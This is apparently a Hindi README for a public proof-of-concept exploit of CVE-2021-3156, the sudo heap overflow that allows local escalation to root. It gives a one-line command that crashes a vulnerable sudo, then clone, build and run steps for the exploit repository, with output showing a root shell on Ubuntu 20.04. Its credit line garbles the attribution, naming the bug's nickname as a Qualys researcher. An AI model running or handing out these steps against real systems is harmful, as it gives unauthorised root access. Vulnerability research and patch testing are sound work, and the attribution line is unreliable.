
# CVE-2021-3156 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, sudo 1.9.5p2 से पहले के संस्करणों में हीप-आधारित बफर ओवरफ्लो, जो sudoedit -s के माध्यम से रूट तक विशेषाधिकार वृद्धि को सक्षम बनाता है।
Sudo 1.9.5p2 से पहले के संस्करण में एक off-by-one त्रुटि है जो हीप-आधारित बफर ओवरफ्लो का कारण बन सकती है, जो sudoedit -s और एक ऐसे कमांड-लाइन तर्क के जरिए रूट विशेषाधिकार वृद्धि की अनुमति देती है जो एक single बैकस्लैश वर्ण के साथ समाप्त होता है।
श्रेय: Baron Samedit of Qualys द्वारा एडवाइज़री
sudo प्रोजेक्ट ने एक कमांड जारी किया है जो आपको यह जाँचने की अनुमति देता है कि आपका sudo संस्करण असुरक्षित है या नहीं:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
यदि आपको उपयोग या त्रुटि संदेश मिलता है, तो sudo असुरक्षित नहीं है। यदि परिणाम Segmentation fault है, तो sudo असुरक्षित है।
CVE-2021-3156 के लिए रूट शेल PoC (बिना ब्रूटफोर्स) Ubuntu 20.04 (sudo 1.8.31) पर परीक्षण किया गया
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root